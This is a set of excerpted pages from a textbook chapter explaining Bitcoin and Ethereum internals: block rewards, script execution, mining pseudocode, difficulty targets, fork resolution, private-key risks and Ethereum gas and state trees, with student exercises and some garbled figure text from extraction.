blockheight field set during mining (page 387). The coinbase transaction is listed as a
block’s first transaction. The process for recognizing and rewarding entities for generating
blocks is part of Bitcoin’s consensus mechanism (Section 13.6), which over the long term
rewards miners based on their computational power.
B LOCK REWARD AND CHANGE . A transaction consumes the sum of its inputs. An
entity authorizing a transaction that pays out to other receivers less than this sum, may
give itself change by specifying an extra output to an address of its own. Any excess of
inputs over specified outputs serves as a transaction fee (page 388). The sum of all fees is
claimable by the block miner as part of the block reward in the coinbase transaction:
block reward = block subsidy + transaction fees (13.3)
The block subsidy started at 50 bitcoin in 2009. It is halved every 210,000 blocks (this
works out to be about every four years); it became 6.25 bitcoin in May 2020. This is
part of a ruleset limiting total currency units to 21 million bitcoin; at the current target
average of one block every 10 minutes, the last bitcoin units will be minted in the year
2140, having value 1 satoshi = 10−8 BTC = 0.000 000 01 BTC (the smallest bitcoin unit).
This is 1 one-hundred-millionth of a bitcoin, i.e., 1 BTC = 100 million satoshis.
382 Chapter 13. Bitcoin, Blockchains and Ethereum
1. PUSH <sig1>
2. PUSH <pubkey1>
3. duplicate the operand currently on top of the stack
4. POP the stack’s top item into opnd; compute K2A(opnd); PUSH result onto stack
5. PUSH <addr0>
6. POP top two operands, compare them, if unequal then (PUSH FALSE, then EXIT)
7. POP into opnd1, POP into opnd2, then test whether opnd1 (public key) confirms opnd2
(signature) to be a valid signature. The signature usually covers5 fields (Table 13.1)
from the new transaction (prev-out-txID, prev-out-index, btc-value, scriptPubKey,
lock-time) and the previous transaction (scriptPubKey corresponding to script0, iden-
tified by these prev-out fields). For a valid signature PUSH TRUE, else PUSH FALSE.
addr0
pubkey1 K 2 A (pubkey1) K 2 A (pubkey1)
pubkey1 pubkey1 pubkey1 pubkey1 pubkey1
sig1 sig1 sig1 sig1 sig1 sig1 TRUE
1 2 3 4 5 6 7
Table 13.3: Stack frames after each of the above seven script execution steps.
Script validation is carried out by various entities, including miners before selecting any
transaction for a new block (Section 13.5), and payee software before acknowledging
receipt. The above opcodes are a small subset of those possible in Bitcoin scripts, and
some—such as OPCHECKSIG in step 7—are elaborately tailored to specific data structures.
W RITING ARBITRARY DATA TO THE BLOCKCHAIN . Bitcoin’s success has led to
unrelated applications using its blockchain to store and publicly timestamp data, e.g., by
creating transactions that write non-Bitcoin data into address fields with no intention of
coin transfer.6 This results in unspent transactions being stored forever (in RAM or disk
memory) by Bitcoin nodes that track UTXOs, wasting resources (transmission, storage,
CPU cycles) while advancing no Bitcoin goals. In response, Bitcoin officially now allows
(although some used to discourage it) the insertion of arbitrary data (at the time of writing,
it is often 40 bytes, but up to 83) after the data-carrying script opcode OPRETURN. Scripts
including OPRETURN by definition evaluate to FALSE, and their transactions are called
provably unspendable. As a key point: Bitcoin nodes internally maintain UTXO sets
(indexed by txID for efficiency), and unspendable transactions are removed from these.
Exercise (Zero-value outputs). Given that OPRETURN is supported, a possible mining
policy is to include (in new blocks) transactions with zero-value outputs only if they have
OPRETURN scripts. Explain why this might be considered a reasonable policy.
P2SH. Pay-to-Script-Hash (P2SH) is a powerful alternative to P2PKH scripts (page
380). When a receiver provides a P2SH address to a payer, the payer uses it as a regular
5 Appended to each signature is a SIGHASH byte code specifying which fields the signature covers.
6 As such data-encoding addresses are not the hash of a public key or script, the TXOs are not spendable.
384 Chapter 13. Bitcoin, Blockchains and Ethereum
address. To redeem the payment, the receiver must produce an unlocking script that:
1) hashes to the specified P2SH address (possibly not even involving signatures); and
2) evaluates to TRUE when combined with the locking script.
This allows complex retrieval conditions, e.g., requiring multiple signatures, while iso-
lating the script complexity from both the payer and the blockchain until payments are
claimed (with scripts represented on the blockchain by their hash). Had P2SH scripts
been in Bitcoin’s original design, P2PKH (and P2PK, which it replaced) would not have
been needed. (As a side point, the design of P2SH itself would also have been simpler.)
Exercise (P2SH). Transactions are redeemed by combining unlocking and locking
scripts. With a P2SH address, the locking script becomes the redeem script (whose hash
is the P2SH address), which becomes part of the unlocking script, and the overall trans-
action locking script becomes simpler (shorter). (a) Give an example of a Bitcoin locking
script using OPCHECKMULTISIG, that requires at least two signatures, and a correspond-
ing unlocking script. (b) Using a P2SH address, give a corresponding set of: redeem
script, locking script, and unlocking script. (c) List and explain the advantages of using
the P2SH version. (Hint: [1, pp.132–135].)
Table 13.4: Block (data structure) with transactions. Block-related data commonly stored
externally to a block itself includes the hash of the block’s header, and the block number
(called height). Unix time corresponds to the number of seconds since January 1, 1970.
incorporate the entire ordered list of transactions into the header; it commits7 the header
to precisely these (ordered) transactions, down to their bit-level representation. The header
field prev-block-hash identifies the previous block in the chain, and is a hashlink (page
377) specifying the hash of that previous block’s header. The hash of its block header
is used to uniquely identify each block; this is based on the negligible probability of
two randomly selected blocks having the same 256-bit header hash (i.e., 1/2256 ≈ 0 in
practice). Because merkle-root is included, the hash of a block header provides a unique
fingerprint for not only the block header, but for the full set of transactions in the block.
B LOCKCHAIN OF BLOCK HEADERS . The Bitcoin system is engineered such that
a new block is produced roughly every ten minutes. In practice, each block typically
holds 1000 to 2500 transactions. As discussed, a block header’s Merkle root incorporates
that block’s transactions, while each new block’s hashlink points back to the most recent
block before it, all the way back to the original genesis block. This orders transactions
both within and across blocks. The result is the blockchain: a back-linked list of blocks
ordering and integrating all transactions in time, made available as a public ledger (Fig.
13.6). While the blockchain is a linked list of block headers, it effectively also links all
transactions by virtue of the Merkle root fields. The combined structure of hashlinks and
Merkle tree roots allows integrity verification of all transactions in the ledger. Again, this
relies on the collision resistance property of cryptographic hash functions, not secret keys.
7 Assuming the hash function used is collision resistant (Chapter 2), it can be proven that changing even
a single bit in any transaction would, with overwhelming probability, change that transaction’s txID, which
would change the merkle-root value, which would change the hash of the block header (which a hashlink
verifies). In this way, the merkle-root value binds (commits) the block header to a precise set of transactions.
386 Chapter 13. Bitcoin, Blockchains and Ethereum
Figure 13.6: The full blockchain. A block header’s hashlink (Fig. 13.1) holds the hash of
the block header pointed to, allowing verification of the integrity of the pointed-to block.
The genesis block (hard-coded into nodes) serves to validate the final integrity check.
justed to control the block production rate. Overall, this bizarre-sounding process results
in consensus-based decisions on which next block gets into the blockchain, with a novel
incentive mechanism driving behavior aligned with system goals. Details are next.
B LOCK MINING PSEUDOCODE . A simplified mining process overview is as follows
(review Table 13.2 for coinbase transaction fields).
1 /* Illustrative block mining pseudocode. Here r denotes the block header */
2 k := 1 + (blockheight of current top block) /* k is target block height
3 boundB := hashing target from mining bound /* recalibrated every 2 weeks
4 prepareRegularTxs() /* select + finalize regular txs for this block
5 prepareCoinbaseTx(k) /* set locking script; coinbase.blockheight := k
6 r := prepareBlockHdr() /* compute merkle-root then set up header fields
7 LOOP /* timestamp doubles as second nonce, outer loop
8 { r.timestamp := getTime() /* update (approx. Unix time of hashing)
9 r.nonce := 0 /* primary mining nonce, indexes inner loop
10 LOOP{ /* outer loop expands search space of inner
11 trialHash := h(h(r)) /* h is SHA256; hash the entire block header r
12 IF( trialHash <= boundB )THEN (quit both loops) /* joy, block is valid
13 r.nonce := r.nonce + 1 /* updating nonce changes header being hashed
14 }UNTIL(r.nonce = 2ˆ32) /* inner loop nonce is 32 bits
15 }
Both loops are exited on finding a satisfying nonce (success, line 12), or on an interrupting
announcement that a competing miner has found a valid block at the same block height.8
The inner loop increments mining-nonce in the block header (line 13). The outer loop
updates the timestamp (line 8), which also serves as a second-level nonce—note that
when the inner loop repeats starting from 0, the timestamp field ensures an altered header.
Mining and validation of a block header r use the SHA256 hash function (SHA-2 family,
Chapter 2), with 256-bit hash values, and nested use as follows: SHA256(SHA256(r)).
P REPARING A BLOCK HEADER . To prepare a block header for (and alter during)
the hashing loops, six fields are involved (see pseudocode line 6; review Table 13.4).
1. Version. This is 1 or 2 (at the present time of writing).
2. Prev-block-hash. This is the hash of the blockchain’s current top block (main branch),
which will be called the parent of the candidate block9 of the successful miner.
3. Merkle root. This is computed per Fig. 13.5, after first selecting (pseudocode line
4) all the regular transactions for the block from the miner’s memory pool (below),
and then preparing the coinbase transaction (which yields txID-1 in Fig. 13.5).
4. Timestamp. This estimates the time a block emerges (Unix format, seconds). The
pseudocode assumes the inner loop takes at least 1 s, changing timestamp at line 8.
5. Mining bound. The hash target’s 4-byte form (page 389) is written into this field.
6. Mining nonce. This is used mainly as a counter (pseudocode lines 9, 13). The final
nonce value for a candidate block allows the hash of the header to satisfy the bound.
8 The block height (pseudocode line 2) is as shown in Fig. 13.7, page 389.
9 We call an in-progress block a candidate block once it has a valid proof of work (i.e., solved puzzle).
388 Chapter 13. Bitcoin, Blockchains and Ethereum
‡N ONCE SOLUTIONS DIFFER ACROSS MINERS . Are miners all searching for the
same nonce? No. A nonce solution for one in-progress block does not work for oth-
ers, as blocks being hashed have different header merkle-root values—due to differing
coinbase transactions (e.g., miners use different addresses). Miners also tend to select dif-
ferent candidate transactions, in different orders. Thus, mining is not a computing power
footrace to find the same nonce—but over time, success correlates with computing power.
M EMORY POOL . As each new individual transaction is submitted by a user, it is
immediately propagated by Bitcoin peer nodes. For official recognition, a transaction:
1) must be embedded into a valid block, which includes a proof of work; and
2) this block must become part of the settled blockchain, i.e., a confirmed block (p.392).
Miners store received transactions in a memory pool or transaction pool, for selection into
their own in-progress blocks (different miners tending to have slightly different pools).
When a miner receives a new valid block from peers, it removes from its local memory
pool all the transactions in that block. Transactions in the memory pool are also filtered to
remove any that have become ineligible due to the new block, e.g., whose claimed outputs
(previously UTXOs) were consumed by a transaction in the block. If the new block results
in a miner abandoning its own in-progress block, then any transactions in the abandoned
block that are not in the new block, remain eligible for the next block to be built.
P RIORITIZING MEMORY POOL TRANSACTIONS . Miners select transactions for in-
progress blocks from their memory pool. Only a subset are typically selected, for reasons
including a maximum block size. Recalling equation (13.3), the reward for mining a block
includes not only a block subsidy, but all fees offered by transactions in the block. Thus
an obvious approach is to select transactions with the highest transaction fee per byte of
transaction size. Beyond fees, miners may rank each transaction in their memory pool
using a priority formula. One such formula might be (square brackets indicate units):
input value [satoshis] × input age [depth]
priority = ∑ (13.4)
all inputs transaction size [bytes]
This sum weights each of a transaction’s inputs both by value, and by age measured as a
depth below the blockchain’s current top block (Fig. 13.7). An input of depth k has a block
number k less than the top block. The Bitcoin reference software at one time selected a
transaction even if it offered no fee, provided that its priority was high enough.
Note that equation (13.4) gives higher priority to transactions that are higher value,
older, and shorter—by this, unselected transactions (even zero-fee) increase in priority
over time, as their depth increases. Individual miners using their own prioritization rules
may exclude zero-fee transactions.10 It is naturally expected that transactions offering
higher fees will appear on the blockchain sooner. Wallet software is configured to offer
fees that are appropriate for its users (or to prompt a user to offer suitable fees).
‡Exercise (Transaction fees). a) What is the current value of a bitcoin, in US dollars?
b) What is currently considered to be a standard transaction fee for Bitcoin transactions
(in bitcoin)? c) Why might one expect transaction fees to increase over time?
10 Zero-fee transactions may now be a thing of the past, with the role of age also at the discretion of miners.
13.5. Mining of blocks, block preparation and hashing targets 389
...
depth k
block i
height i
...
block 2
block 1
exponent coefficient
0x1711A333 hex17 = 23 23−3 = 20
32−23 = 9 bytes low block
00 00 11 A3 33 00 00 626,976
3 byte shi� 20 bytes le�, fill with zeros bound
zero bytes at
high end also coefficient
shi� 26 bytes le�, fill with zeros genesis
00 00 00 00 FF FF 00 00 block
32−29 = 3 bound
0x1D00FFFF hex1D = 29 29−3 = 26
Figure 13.8: Converting 4-byte mining-bound fields to 32-byte hashing targets. The
genesis block target bound, with 3 high-end leading zero bytes plus a fourth from the
coefficient 00FFFF itself, implies that a valid hash must have at least 32 leading zero bits.
The mining bound from block 626,976 (April 2020) has a smaller exponent 0x17 (versus
0x1D). This results in a smaller left-shift of the coefficient and thus more leading zeros,
here requiring at least 9 · 8 + 3 = 75. (Why +3? Byte 0x11 itself has 3 leading zero bits.)
At recalibration, let (t2 , t1 ) be the timestamps from the blocks (ending, starting) the
two week period (i.e., the top block and the one 2015 blocks earlier). Let bcurrent be the
current hash target for blocks in this period, from their identical mining-bound fields.
The desired time for 2016 blocks is t p = 2016 · 10 · 60 seconds (block timestamps are in
seconds). The actual measured time is tm = t2 − t1 . A scaling factor s is then computed as
tmeasured tm t2 − t1
s= = = and bnew = s · bcurrent (13.7)
t planned tp tp
The 4-byte mining-bound field value for blocks in the new period is formatted from bnew .
If s is not in the range 1/4 ≤ s ≤ 4, then s is reset to the boundary exceeded. (This same
target bnew is independently computed by all Bitcoin nodes, using public blockchain data.)
R ELATIVE MINING DIFFICULTY. To express the difficulty of finding a nonce satis-
fying the hashing target bL for any block L, compared to that for satisfying the target bG
for the genesis block G, the relative mining difficulty DL of block L is defined to be:
bG
DL = , or equivalently DL · bL = bG (a constant) (13.8)
bL
Note: bG is in the numerator (left equation). From this definition, the genesis block itself
has relative mining difficulty 1 (case L = G). DL > 1 for all other blocks, as the target bL is
generally decreased over time, to make the hashing constraint harder (more leading zeros).
From the right of equation (13.8), note: as block L’s relative mining difficulty DL goes
up, its hash target bL goes down (and vice versa). Note also that while mining involves
enormous computational effort (on average), verifying that a block header satisfies the
hash bound requires little work (hash the header once, then compare to the target).
Example (Relative mining difficulty). For block L = 626, 976 (Fig. 13.8), and using
equation (13.5) for b, we compute: DL = bG /bL = (cG · 28·26 )/(cL · 28·20 ) = (cG /cL )248
for cG = 0x00FFFF, cL = 0x11A333. Using a hex calculator (or site), DL ≈ 243.8594 .
Example (Mining difficulty, bits and leading zeros). The difficulty of mining can be
expressed—albeit less precisely—solely by a lower bound on the number of leading zero
13.6. Building the blockchain, validation, and full nodes 391
bits in the relevant hash. From Fig. 13.8, the genesis block requires 32 zero bits, and 75
are required by block L = 626, 976. From our example, this block L has mining difficulty
DL ≈ 243.8594 . Note that log2 (DL ) = 43.8594, while 75 − 32 = 43. This illustrates the
general relationship: a block with difficulty DL corresponds to a target bound b with z
leading zero bits, for z = 32 + blog2 (DL )c, i.e., dropping the fractional part. The number
of hashing trials (nonce trials) expected on average is then approximated by T = 2z .
‡Exercise (Mining is not for the meek). If you try to mine a block, might you get lucky
and make some easy money? Not likely. Using the mining bound to find the expected
number of SHA256 hashes needed, estimate your expected time if using one modern
desktop CPU. (Hint: [53]; look up how many SHA256 hashes/s can be done. With money
up for grabs, you face many competitors with heavy investments in specialized hardware.)
Once a block passes all these checks, a node is expected to propagate it—but only if, in the
node’s local view, the block is on the main branch (below). This requires a further check:
the block header must have a valid hashlink to a parent, at the head of the main branch.
(This parent should, based on earlier checks, also chain back to a trusted checkpoint block,
if not the genesis block itself.) By propagating the block to peers, a node enables others
to build on the same main branch. Since no individual node can trust that others follow
these rules, each carries out independent checks—and a consensus emerges (below).
M AIN AND SIDE BRANCHES . Despite the simplified model (Fig. 13.7, page 389),
the tip of the blockchain has a main branch (main chain) and side branches (Fig. 13.9).
The main chain tends to be the longest chain (tallest stack), but by definition is the branch
with greatest aggregate proof of work (smaller hash targets carry more weight). Note
however that nodes in the distributed peer network may have different local views, based
on incomplete information (e.g., due to temporary link failures, or propagation delays
related to network topology); for competing new valid blocks at the same height and
mining-bound, a miner tends to build on the one first received. Thus a single node’s view
is not definitive or universal; rather than all miners working on the main branch, some
temporarily mine competing branches—possibly at different heights. A side branch could
grow to overtake the main chain. As we shall see, in practice side branches either fall
away or overtake the main branch quite quickly (e.g., within one or two blocks).
O RPHAN AND UNRECOGNIZED BLOCKS . Suppose a node receives a block that
verifies as valid (above). The block may extend the main chain, a side branch, or neither (if
its header hashlink matches no parent block previously seen, including all side branches).
The first case is common; the main chain remains unchanged. In the second case, it is
possible that a side branch now overtakes the main branch; a miner with this view is
expected to switch over to the new main branch. In the third case, with no parent in sight
from the local view, the block goes into a holding tank called the orphan block pool. One
source of orphan blocks is a block emerging relatively quickly by chance, and arriving
at a peer ahead of its parent; when the parent block finally arrives, the orphan is moved
into the relevant case. Blocks that fit side branches (the prev-block-hash field fitting a
side-chain parent)—let’s call them side-pool blocks—are, like orphan pool blocks, kept
in the short term, as they may come into play. But as a main branch emerges to be a clear
winner over increasingly distant side branches, blocks on distant side branches in essence
become permanently excluded from the main branch. In this way, some candidate blocks,
despite a valid proof of work, fail to be included in the consensus blockchain. Sadly, the
unlucky miners of such unrecognized blocks receive no block rewards;11 and over time,
such blocks effectively cease to exist, as they are not “on” the blockchain. C’est la vie.
C ONFIRMED BLOCKS . As an increasing number of blocks are built on top of a given
block, the probability of it failing to become part of the consensus blockchain diminishes
rapidly, and eventually it is considered “on the blockchain” as an unchangeable outcome.
11 ‡Some experts use the word stale for a block not on the main chain, while others use it for any block
arriving after a same-height block was already seen (such a block often ending up matching the first case).
Other terms for side-chain blocks are uncles or ommers (in Ethereum) and orphans (in Bitcoin)—but the
latter causes confusion with a dictionary interpretation of (true) orphan to mean parentless (as in our use).
13.6. Building the blockchain, validation, and full nodes 393
The block—and its transactions—are then said to be confirmed. By rule of thumb, a depth
of 6 suffices in practice for confirmation; less cautious users may go with fewer. An un-
confirmed block remains subject to the risk of double spending or becoming unrecognized
due to branch reorganization, in which case its transactions will not be valid.
‡C OINBASE OUTPUT HOLD . As an extra rule, no coinbase transaction output can
be spent until the coinbase block is confirmed at least N times—to rule out any practical
chance that after the block reward is spent, the blockchain is reorganized such that the
coinbase block is no longer on the main chain (thereby becoming invalid). N = 100 is
used at the time of writing, implying on average a wait of 16 hrs 40 min at 10 min/block.
I NCENTIVE TO EXTEND MAIN BRANCH . As a heuristic expectation, miners will
build on the main branch. This is supported by two circumstances. 1) In preparing a block
header, a miner must explicitly choose a branch to extend, as a block’s prev-block-hash
field specifies a parent. 2) If a miner completes a proof of work but their block perishes
on a side branch, the miner loses the block reward. Thus committing to build on a known
side branch reduces expected earnings (odds are, it is wasted effort). The rule that a block
reward stands only if its block settles on the main chain incentivizes compliant behavior.12
Note: if a non-compliant miner includes an invalid transaction in its block, other miners
lose incentive to build on it, as doing so would forfeit their own potential block reward, as
other compliant peers will abandon that branch, on seeing the block fail validity tests.
B LOCK SELECTION AS VOTING . In review, as nodes see new blocks, the invalid
are dropped, the others fitted to a branch at a unique fitting point using the block header’s
parent pointer. Each new block may rearrange leadership between main and side branches.
Using local information, miners independently choose which branch to build on—each
incentivized to build on what is the main branch from their view. Each miner, by choosing
a block to build on, in essence casts a vote for a main branch, “voting with their feet”.
Example (How forks resolve quickly). Suppose two miners are building on the same
parent block Z (Fig. 13.9a), and at about the same time, each completes their block and
sends it to their peers. What will happen? We expect peers to begin mining new blocks
on top of whichever of these two blocks, A or B, they receive first. Now some miners are
working to extend branches with parent A, and some with parent B (Fig. 13.9b); call them
branchA miners, and branchB miners. We say the blockchain has a fork.
Now a miner in one of the two sets will succeed first—say branchB—and immediately
propagate new block B0 . Both branchA and branchB miners receive B0 . BranchB miners
see their (main) branch has been extended, and immediately start building new blocks
with B0 as parent, to extend branchB yet further. BranchA miners see that “their” main
branch has now fallen behind; they could continue, hoping to get lucky twice (first finding
a block A0 to catch up, and then a second to re-take the lead), but they are already one
block behind, which may be a sign that more computing power was already on branch
B. Even if a valid A0 is found, by that time, branchB miners may have a B00 (Fig. 13.9c).
And branchA miners recall: no block reward can be claimed unless your block ends up
12 Here compliant means consistent with a Bitcoin reference implementation. Aside from the reward in-
centive, Bitcoin also relies on an assumption that a majority of computing power rests with compliant miners.
394 Chapter 13. Bitcoin, Blockchains and Ethereum
i+4 b) c) B''
a)
i+3 A' B' B'
i+2 A B A B A B
i+1 Z Z Z
height i Y Y Y
Figure 13.9: Resolution of a blockchain fork (model scenario). (a) If blocks A and
B emerge around the same time (say this event happens with constant probability p),
miners start building on A or B, whichever they receive first. (b) Blocks A0 and B0 may
again emerge at about the same time, but the probability of t such events in a row is an
increasingly unlikely pt (decaying exponentially as t grows). Typically one block, say
B0 , emerges sufficiently ahead of others, that a majority of miners receive it first and start
building on it. (c) By the time block B00 emerges, extending B0 , almost all miners have
abandoned work on side branch A and recognize B as the main branch.
on the main branch. Alas, the odds suggest that it is time to switch to branch B, and leave
gambling to the weekend horse races. As some branchA miners switch to join branch
B, the probability increases that branch B pulls further ahead. Branch A becomes a side
branch with fewer miners, and soon none (if they are paying attention and receive timely
updates from their network links). The fork is now resolved, in favor of branchB miners.
F ULL NODES AND MINING POOLS . Devices may connect to the Bitcoin network
as nodes. (For light nodes, see Section 13.7.) Full nodes validate and forward individual
transactions and blocks, and maintain UTXO pools. They are the foundation of the peer
network, and miners rely on access to their functionality—including to manage transac-
tions in memory pools, for inclusion in new blocks. The core mining activity (building
new blocks) is distinct from peer sharing of data, and not all full nodes are also miners.
One might thus expect fewer miners than full nodes. However, miners may form a mining
pool (also page 404), to collectively work on the same hashing puzzle for an in-progress
block proposed by a pool leader (with block rewards split by agreement); one full node
then serves many miners. By some estimates, there are many more miners than full nodes;
in practice, the ratio of full nodes to miners is not precisely understood.
Exercise (Non-compliant miner). If a miner prepares a candidate block (with valid
proof of work) whose coinbase transaction claims a larger block reward than allowed, and
circulates this block while no other candidate blocks at that height are also ready, will this
block be accepted into the blockchain? Why or why not?
‡Exercise (Blockchain forks reconverging). Using a series of diagrams, explain the
sequential stages as two groups of miners compete as the blockchain forks, work to extend
different branches, then quickly reconverge on the main branch. (Hint: [1, pp.199-204].)
13.7. ‡Simple payment verification, user wallets, private keys 395
target transac�on
essarily trusted), and confirm by hashlinks that they lead into a genesis block hard-coded
into the verifying client. Discuss advantages and disadvantages of the three alternatives.
Exercise (SPV and UTXOs). The input of a new transaction W claims an output from
an old transaction T . The buyer is in a hurry; the seller prefers to wait for 6 confirmations
of W before releasing any goods. The buyer suggests to the seller: “Use SPV to verify
that T is a valid transaction; that will confirm that the output that I am claiming is valid
cash recognized by Bitcoin.” What should the seller do, and why?
P RIVATE KEY: GUARD AS CASH . Bitcoin transactions send currency to addresses.
Digital signatures claim the currency, requiring access to private keys. Consequently:
1) loss of the private key means (unrecoverable) loss of the currency; and
2) theft of the private key allows theft of the currency.
Furthermore, transactions are irrevocable and irreversible. This makes Bitcoin attractive
to criminals and thieves, and is in contrast to conventional banks, where regulations typi-
cally require long-term relationships with, and contact details for, real-world participants.
P RIVATE KEY RISKS AND PASSWORDS . The risk of losing a private key is increased
by possible loss of any information or device used to generate or protect it. This includes
passwords or passphrases used to derive a symmetric encryption key (passkey) to protect
a private key, and seeds in hierarchical wallets (page 398). It is therefore risky (inviting
loss) to store a private key encrypted under a passkey while relying entirely on human
memory to recall the password. Specific risks to private keys thus include:
a) loss of access due to forgotten passwords,
b) loss of access due to hardware failure or lost information, and
c) theft, possibly combined with offline guessing attacks (Chapter 4).
As noted above, the risk is permanent loss of the associated currency. The disadvan-
tages of passwords (Chapter 3) have severe implications here—if a private key (or related
passkey) is misplaced, forgotten, or lost, there is no equivalent to the password recovery
(rescue) services associated with web account passwords. The risk of theft (consider mal-
ware, device theft, cloud storage break-in, cloud backup) followed by successful offline
guessing can be mitigated by avoiding user-chosen passwords.
13.7. ‡Simple payment verification, user wallets, private keys 397
pools (page 404), privacy, use of cryptocurrencies in illegal activities, governance issues,
usability and asset safety (including both theft and lost access to private keys).
nonce: this is compared to the sender account’s nonce value (counter) when a transaction
is executed by a miner (and processed by peers), to stop transaction replays.
gasLimit: maximum number of gas units the sender releases to execute this transaction
(including costs associated with any resulting messages).
gasPrice: offered payment per unit of gas (in wei per gas unit). The miner that mines a
transaction collects fees including all gas spent executing the transaction. Any gas
allocated but unused upon completion is returned to the sender. The up-front cost
of a transaction is computed as: v0 = (gasLimit ∗ gasPrice) + valueTo.
sendersSig: this provides data allowing verification of the sender’s signature, and also
includes information identifying the sender’s address.
R ECEIPTS AND EXECUTION LOGS . Dedicated EVM opcodes are used to log or
record, for external access, information on events related to contract execution. For each
transaction involving contracts, a receipt is generated. It includes a status code, the set of
logs generated, and a Bloom filter data structure for efficient use of the log information.
EVM FEE SCHEDULE . Gas charges (Table 13.6) based on instruction complexity
or system cost apply to EVM opcodes, persistent memory used (EVM storage), and the
number of bytes in a transaction (effectively a bandwidth cost). A contract does not pay
for its own gas—rather, the invoking transaction does.
EVM charge Description of Ethereum opcode or storage-related item (gas units: wei)
3–5 gas ADD , SUB , NOT, XOR ; MUL , DIV, MOD
8 gas JUMP (+2 if conditional), ADDMOD (addition modulo 2256 )
375 gas base cost of a LOG operation; +375 per LOG topic, +8 per byte of LOG data
20,000 gas to store a non-zero value in EVM persistent storage (contract memory)
4 gas for every zero byte (code or data) in a transaction
68 gas for every non-zero byte (code or data) in a transaction
21,000 gas base cost for every transaction
32,000 gas to create a contract (in addition to base cost)
Table 13.6: Fee schedule, illustrative items [55]. The last four are intrinsic gas costs.
M INING REWARDS . The miner of an Ethereum block (or rather, the beneficiary
specified, Table 13.7) receives the block’s transaction fees (gas consumed in executing its
transactions), plus a block reward13 of 2 ETH, plus 1/32 of this reward value for including
each of up to two ommer headers (next paragraph). The beneficiary of any so-included
ommer block also receives between 7/8 and 2/8 of the block reward, the fraction calculated
as (8 − i)/8 where i counts (from 1 to 6) how many generations older the ommer block
is than the mined block. (This rewards some miners even for a valid block that never
makes it onto the blockchain.) Aside: whereas Bitcoin’s (current) plan halves the block
subsidy every four years until a fixed currency production end-date, Ethereum currently
has no production end-date and somewhat ad hoc rule changes (e.g., the block reward was
5 ETH before dropping to 3, and now 2 as of the time of writing).
13 Ethereum’s block reward corresponds to what Bitcoin calls a block subsidy in (13.3), page 381.
402 Chapter 13. Bitcoin, Blockchains and Ethereum
Table 13.7: Ethereum block header. ?Hash and ?Root fields are 32 bytes. The header is
about 500 bytes (extraData varies by 32 bytes); over half of this is logsBloom.
attacks enabled by more frequent blockchain forks due to the higher block production
rate—Ethereum produces blocks every 13–14 seconds vs. Bitcoin’s 10 min.
T RANSACTION VALIDATION AND EXECUTION . Following the blockchain model,
to be officially recognized, an Ethereum transaction T must be validated and executed at
some defining point. Here this implies: T being selected by a miner for inclusion into
a new block B, the block header having a valid proof of work, and the block ending up
on Ethereum’s consensus heaviest chain. What follows is a list of major procedural steps
for validating and executing a transaction T (validating an entire candidate block involves
verifying the proof of work, the block header, and all transactions).
1. Do transaction validity checks (e.g., verify format, verify sender’s signature, confirm the
nonce is 1 more than in the sender’s account, sender balance ≥ up-front cost).
2. Transfer valueTo to receiver (from sender).
3. Deduct gasLimit ∗ gasPrice from sender balance, and increment the sender’s nonce.
4. Set GAS := gasLimit (as the number of units of gas available).
5. Deduct from GAS all relevant intrinsic gas costs (Table 13.6).
6. If toAddr is a contract, run its code until code exits or “out of gas” (OOG), deducting
costs from GAS as execution runs (per fee schedule).
7. If there are insufficient funds or any other exceptions including OOG, restore all changed
state (except the miner keeps fees for gas burned, and the nonce is not rolled back). Oth-
erwise on exit, restore the cost of any unused gas to the sender’s balance, and finalize the
transaction receipt for this transaction T .
W ORLD STATE AND THE BLOCKCHAIN . The blockchain defines what is valid
in Ethereum’s world, and this is captured as the world state—the data associated with
Ethereum accounts. This state is publicly verifiable through a block header and a subset
of its fields that embed the roots of externally maintained search trees (next) for persistent
storage, providing a form of authenticated data structure. As a result, despite almost all
this state being stored off the blockchain, the world state is carried forward in each block.
Equation (13.14) and Table 13.7 help us see how Ethereum blocks represent this world
state. Compared to 80 bytes in Bitcoin, Ethereum block headers are 500 bytes and rely on
this combination of data structures and root values.
E THEREUM MPT. A Patricia Tree data structure (below) can support storage and
retrieval for a set of (key, value) pairs, with efficient update, insertion and deletion. Each
tree node may hold part of a key (a partial path), pointers to other nodes, and a value. Re-
placing the pointers by hashlinks, so that nodes are referenced by the hash of their content
(rather than address pointers) yields a Merkle Patricia Tree (MPT). Note that now a path
from root to leaf resembles a blockchain; and although computed by a different process,
the hash of the content of an MPT root has the same property as a Merkle hash tree root
(merkle-root in Bitcoin): each is a fingerprint (cryptographically reliable representa-
tion) of the content of the entire tree. The hash of an MPT root’s content can therefore be
used to authenticate the complete (key, value) dataset comprising the tree.
404 Chapter 13. Bitcoin, Blockchains and Ethereum
Relying on this, Ethereum uses a custom MPT to store and update the state underlying
stateRoot, the (hashed) root of the world state tree for accounts. As Fig. 13.11 models,
an account address is used to look up a leaf value of (balance, nonce, acctStorageRoot,
codeHash) from (13.11), where acctStorageRoot itself roots a further tree in the case of a
code account. Similarly, the MPT under a block header’s transactionsRoot is keyed by
transaction indexes in the block. The content of each tree node (including root) is stored
in a database and looked up by hash value. Confused? The next exercise may help.14
Exercise (MPT details). Given a set of (key, value) pairs, a search tree can be built,
allowing value to be looked up at a leaf node, using symbols of key in sequence to trace
a unique path from a tree root onward.15 (a) Explain how tries (prefix trees) and Patricia
Trees (compressed tries) work. (Hint: [39].) (b) Explain how Ethereum’s MPT works,
including its three node types (extension, branch, and leaf). (Hint: [16, 25, 57]; treat the
prefix encoding for nodes as a minor implementation detail, rather than a major focus.)
T RANSACTIONAL STATE MACHINE . Ethereum transactions cause state transitions
that transfer currency and data between accounts, optionally involving contract execution.
At the world state level, Ethereum is a transaction-based state machine, with a state
transition function F taking two inputs—a world state St at time t, and a next transaction
T —and producing a new world state: F(St , T ) → St+1 . We note the following.
a) Like Bitcoin, Ethereum relies on a replicated state machine and mining-based consensus,
but in contrast its official world state is explicitly summarized as each block emerges.16
b) Each block defines a specific ordering of transactions and thus contract executions. Each
contract execution runs atomically, in that the world state is not at risk of changing due to
other transactions or contracts running in parallel. Thus the results of a miner’s local EVM
running contracts (with its local view of world state) become the world reality if the miner
executing a transaction (in block mining) has their block accepted into the blockchain.
c) Contracts execute only as a result of EOA-triggered transactions, and cannot on their own
schedule events to occur at future times, unrelated to the current transaction.
E THASH AND MINING POOLS . Bitcoin mining is now dominated by mining pools
(page 394), with collaborative groups of miners sharing resources and rewards, typically
leveraging large investments in special-purpose hardware, notably ASICs optimized for
SHA256. Centralization of control conflicts with the goal of decentralized consensus.
Ethereum aims (perhaps optimistically) to address this by using Ethash, a mining hash
function designed to be ASIC-unfriendly, favoring commodity architectures over cus-
